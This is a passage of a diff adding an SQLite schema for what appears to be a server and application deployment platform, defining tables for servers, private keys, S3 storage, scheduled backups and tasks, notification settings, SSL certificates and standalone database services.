+ "updated_at" TEXT, + "base_url" TEXT +); + +CREATE TABLE IF NOT EXISTS "password_reset_tokens" ( + "email" TEXT NOT NULL, + "token" TEXT NOT NULL, + "created_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "personal_access_tokens" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "tokenable_type" TEXT NOT NULL, + "tokenable_id" INTEGER NOT NULL, + "name" TEXT NOT NULL, + "token" TEXT NOT NULL, + "team_id" TEXT NOT NULL, + "abilities" TEXT, + "last_used_at" TEXT, + "expires_at" TEXT, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "private_keys" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "private_key" TEXT NOT NULL, + "is_git_related" INTEGER DEFAULT false NOT NULL, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "fingerprint" TEXT +); + +CREATE TABLE IF NOT EXISTS "project_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "project_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "projects" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "pushover_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "pushover_enabled" INTEGER DEFAULT false NOT NULL, + "pushover_user_key" TEXT, + "pushover_api_token" TEXT, + "deployment_success_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_pushover_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "server_patch_pushover_notifications" INTEGER DEFAULT true NOT NULL, + "traefik_outdated_pushover_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "s3_storages" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "region" TEXT DEFAULT 'us-east-1' NOT NULL, + "key" TEXT NOT NULL, + "secret" TEXT NOT NULL, + "bucket" TEXT NOT NULL, + "endpoint" TEXT, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "is_usable" INTEGER DEFAULT false NOT NULL, + "unusable_email_sent" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "scheduled_database_backup_executions" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "status" TEXT DEFAULT 'running' NOT NULL, + "message" TEXT, + "size" TEXT, + "filename" TEXT, + "scheduled_database_backup_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "database_name" TEXT, + "finished_at" TEXT, + "local_storage_deleted" INTEGER DEFAULT false NOT NULL, + "s3_storage_deleted" INTEGER DEFAULT false NOT NULL, + "s3_uploaded" INTEGER +); + +CREATE TABLE IF NOT EXISTS "scheduled_database_backups" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "description" TEXT, + "uuid" TEXT NOT NULL, + "enabled" INTEGER DEFAULT true NOT NULL, + "save_s3" INTEGER DEFAULT true NOT NULL, + "frequency" TEXT NOT NULL, + "database_backup_retention_amount_locally" INTEGER DEFAULT 0 NOT NULL, + "database_type" TEXT NOT NULL, + "database_id" INTEGER NOT NULL, + "s3_storage_id" INTEGER, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "databases_to_backup" TEXT, + "dump_all" INTEGER DEFAULT false NOT NULL, + "database_backup_retention_days_locally" INTEGER DEFAULT 0 NOT NULL, + "database_backup_retention_max_storage_locally" REAL DEFAULT '0' NOT NULL, + "database_backup_retention_amount_s3" INTEGER DEFAULT 0 NOT NULL, + "database_backup_retention_days_s3" INTEGER DEFAULT 0 NOT NULL, + "database_backup_retention_max_storage_s3" REAL DEFAULT '0' NOT NULL, + "timeout" INTEGER DEFAULT 3600 NOT NULL, + "disable_local_backup" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "scheduled_task_executions" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "status" TEXT DEFAULT 'running' NOT NULL, + "message" TEXT, + "scheduled_task_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "finished_at" TEXT, + "started_at" TEXT, + "retry_count" INTEGER DEFAULT 0 NOT NULL, + "duration" REAL, + "error_details" TEXT +); + +CREATE TABLE IF NOT EXISTS "scheduled_tasks" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "enabled" INTEGER DEFAULT true NOT NULL, + "name" TEXT NOT NULL, + "command" TEXT NOT NULL, + "frequency" TEXT NOT NULL, + "container" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "application_id" INTEGER, + "service_id" INTEGER, + "team_id" INTEGER NOT NULL, + "timeout" INTEGER DEFAULT 300 NOT NULL +); + +CREATE TABLE IF NOT EXISTS "server_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "is_swarm_manager" INTEGER DEFAULT false NOT NULL, + "is_jump_server" INTEGER DEFAULT false NOT NULL, + "is_build_server" INTEGER DEFAULT false NOT NULL, + "is_reachable" INTEGER DEFAULT false NOT NULL, + "is_usable" INTEGER DEFAULT false NOT NULL, + "server_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "wildcard_domain" TEXT, + "is_cloudflare_tunnel" INTEGER DEFAULT false NOT NULL, + "is_logdrain_newrelic_enabled" INTEGER DEFAULT false NOT NULL, + "logdrain_newrelic_license_key" TEXT, + "logdrain_newrelic_base_uri" TEXT, + "is_logdrain_highlight_enabled" INTEGER DEFAULT false NOT NULL, + "logdrain_highlight_project_id" TEXT, + "is_logdrain_axiom_enabled" INTEGER DEFAULT false NOT NULL, + "logdrain_axiom_dataset_name" TEXT, + "logdrain_axiom_api_key" TEXT, + "is_swarm_worker" INTEGER DEFAULT false NOT NULL, + "is_logdrain_custom_enabled" INTEGER DEFAULT false NOT NULL, + "logdrain_custom_config" TEXT, + "logdrain_custom_config_parser" TEXT, + "concurrent_builds" INTEGER DEFAULT 2 NOT NULL, + "dynamic_timeout" INTEGER DEFAULT 3600 NOT NULL, + "force_disabled" INTEGER DEFAULT false NOT NULL, + "is_metrics_enabled" INTEGER DEFAULT false NOT NULL, + "generate_exact_labels" INTEGER DEFAULT false NOT NULL, + "force_docker_cleanup" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_frequency" TEXT DEFAULT '0 0 * * *' NOT NULL, + "docker_cleanup_threshold" INTEGER DEFAULT 80 NOT NULL, + "server_timezone" TEXT DEFAULT 'UTC' NOT NULL, + "delete_unused_volumes" INTEGER DEFAULT false NOT NULL, + "delete_unused_networks" INTEGER DEFAULT false NOT NULL, + "is_sentinel_enabled" INTEGER DEFAULT true NOT NULL, + "sentinel_token" TEXT, + "sentinel_metrics_refresh_rate_seconds" INTEGER DEFAULT 10 NOT NULL, + "sentinel_metrics_history_days" INTEGER DEFAULT 7 NOT NULL, + "sentinel_push_interval_seconds" INTEGER DEFAULT 60 NOT NULL, + "sentinel_custom_url" TEXT, + "server_disk_usage_notification_threshold" INTEGER DEFAULT 80 NOT NULL, + "is_sentinel_debug_enabled" INTEGER DEFAULT false NOT NULL, + "server_disk_usage_check_frequency" TEXT DEFAULT '0 23 * * *' NOT NULL, + "is_terminal_enabled" INTEGER DEFAULT true NOT NULL, + "deployment_queue_limit" INTEGER DEFAULT 25 NOT NULL, + "disable_application_image_retention" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "servers" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "ip" TEXT NOT NULL, + "port" INTEGER DEFAULT 22 NOT NULL, + "user" TEXT DEFAULT 'root' NOT NULL, + "team_id" INTEGER NOT NULL, + "private_key_id" INTEGER NOT NULL, + "proxy" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "unreachable_notification_sent" INTEGER DEFAULT false NOT NULL, + "unreachable_count" INTEGER DEFAULT 0 NOT NULL, + "high_disk_usage_notification_sent" INTEGER DEFAULT false NOT NULL, + "log_drain_notification_sent" INTEGER DEFAULT false NOT NULL, + "swarm_cluster" INTEGER, + "validation_logs" TEXT, + "sentinel_updated_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "deleted_at" TEXT, + "ip_previous" TEXT, + "hetzner_server_id" INTEGER, + "cloud_provider_token_id" INTEGER, + "hetzner_server_status" TEXT, + "is_validating" INTEGER DEFAULT false NOT NULL, + "detected_traefik_version" TEXT, + "traefik_outdated_info" TEXT +); + +CREATE TABLE IF NOT EXISTS "service_applications" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "human_name" TEXT, + "description" TEXT, + "fqdn" TEXT, + "ports" TEXT, + "exposes" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "service_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "exclude_from_status" INTEGER DEFAULT false NOT NULL, + "required_fqdn" INTEGER DEFAULT false NOT NULL, + "image" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "is_gzip_enabled" INTEGER DEFAULT true NOT NULL, + "is_stripprefix_enabled" INTEGER DEFAULT true NOT NULL, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "is_migrated" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "service_databases" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "human_name" TEXT, + "description" TEXT, + "ports" TEXT, + "exposes" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "service_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "exclude_from_status" INTEGER DEFAULT false NOT NULL, + "image" TEXT, + "public_port" INTEGER, + "is_public" INTEGER DEFAULT false NOT NULL, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "is_gzip_enabled" INTEGER DEFAULT true NOT NULL, + "is_stripprefix_enabled" INTEGER DEFAULT true NOT NULL, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "is_migrated" INTEGER DEFAULT false NOT NULL, + "custom_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "services" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "environment_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "server_id" INTEGER, + "description" TEXT, + "docker_compose_raw" TEXT NOT NULL, + "docker_compose" TEXT, + "destination_type" TEXT, + "destination_id" INTEGER, + "deleted_at" TEXT, + "connect_to_docker_network" INTEGER DEFAULT false NOT NULL, + "config_hash" TEXT, + "service_type" TEXT, + "is_container_label_escape_enabled" INTEGER DEFAULT true NOT NULL, + "compose_parsing_version" TEXT DEFAULT '2' NOT NULL +); + +CREATE TABLE IF NOT EXISTS "sessions" ( + "id" TEXT NOT NULL, + "user_id" INTEGER, + "ip_address" TEXT, + "user_agent" TEXT, + "payload" TEXT NOT NULL, + "last_activity" INTEGER NOT NULL +); + +CREATE TABLE IF NOT EXISTS "shared_environment_variables" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "key" TEXT NOT NULL, + "value" TEXT NOT NULL, + "is_shown_once" INTEGER DEFAULT false NOT NULL, + "type" TEXT DEFAULT 'team' NOT NULL, + "team_id" INTEGER NOT NULL, + "project_id" INTEGER, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_multiline" INTEGER DEFAULT false NOT NULL, + "version" TEXT DEFAULT '4.0.0-beta.239' NOT NULL, + "is_literal" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "slack_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "slack_enabled" INTEGER DEFAULT false NOT NULL, + "slack_webhook_url" TEXT, + "deployment_success_slack_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_slack_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_slack_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_slack_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_slack_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_slack_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_slack_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_slack_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_slack_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_slack_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_slack_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_slack_notifications" INTEGER DEFAULT true NOT NULL, + "server_patch_slack_notifications" INTEGER DEFAULT true NOT NULL, + "traefik_outdated_slack_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "ssl_certificates" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "ssl_certificate" TEXT NOT NULL, + "ssl_private_key" TEXT NOT NULL, + "configuration_dir" TEXT, + "mount_path" TEXT, + "resource_type" TEXT, + "resource_id" INTEGER, + "server_id" INTEGER NOT NULL, + "common_name" TEXT NOT NULL, + "subject_alternative_names" TEXT, + "valid_until" TEXT NOT NULL, + "is_ca_certificate" INTEGER DEFAULT false NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_clickhouses" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "clickhouse_admin_user" TEXT DEFAULT 'default' NOT NULL, + "clickhouse_admin_password" TEXT NOT NULL, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'clickhouse/clickhouse-server:25.11' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "clickhouse_db" TEXT DEFAULT 'default' NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_dockers" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "uuid" TEXT NOT NULL, + "network" TEXT NOT NULL, + "server_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_dragonflies" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "dragonfly_password" TEXT NOT NULL, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'docker.dragonflydb.io/dragonflydb/dragonfly' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_keydbs" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "keydb_password" TEXT NOT NULL, + "keydb_conf" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'eqalpha/keydb:latest' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_mariadbs" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "mariadb_root_password" TEXT NOT NULL, + "mariadb_user" TEXT DEFAULT 'mariadb' NOT NULL, + "mariadb_password" TEXT NOT NULL, + "mariadb_database" TEXT DEFAULT 'default' NOT NULL, + "mariadb_conf" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'mariadb:11' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_mongodbs" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "mongo_conf" TEXT, + "mongo_initdb_root_username" TEXT DEFAULT 'root' NOT NULL, + "mongo_initdb_root_password" TEXT NOT NULL, + "mongo_initdb_database" TEXT DEFAULT 'default' NOT NULL, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'mongo:7' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "ssl_mode" TEXT DEFAULT 'require' NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_mysqls" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "mysql_root_password" TEXT NOT NULL, + "mysql_user" TEXT DEFAULT 'mysql' NOT NULL, + "mysql_password" TEXT NOT NULL, + "mysql_database" TEXT DEFAULT 'default' NOT NULL, + "mysql_conf" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'mysql:8' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "ssl_mode" TEXT DEFAULT 'REQUIRED' NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_postgresqls" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "postgres_user" TEXT DEFAULT 'postgres' NOT NULL, + "postgres_password" TEXT NOT NULL, + "postgres_db" TEXT DEFAULT 'postgres' NOT NULL, + "postgres_initdb_args" TEXT, + "postgres_host_auth_method" TEXT, + "init_scripts" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'postgres:16-alpine' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "postgres_conf" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "ssl_mode" TEXT DEFAULT 'require' NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_redis" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "redis_conf" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'redis:7.2' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "subscriptions" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "stripe_invoice_paid" INTEGER DEFAULT false NOT NULL, + "stripe_subscription_id" TEXT, + "stripe_customer_id" TEXT, + "stripe_cancel_at_period_end" INTEGER DEFAULT false NOT NULL, + "stripe_plan_id" TEXT, + "stripe_feedback" TEXT, + "stripe_comment" TEXT, + "stripe_trial_already_ended" INTEGER DEFAULT false NOT NULL, + "stripe_past_due" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "swarm_dockers" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "uuid" TEXT NOT NULL, + "server_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "network" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "taggables" ( + "tag_id" INTEGER NOT NULL, + "taggable_id" INTEGER NOT NULL, + "taggable_type" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "tags" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" 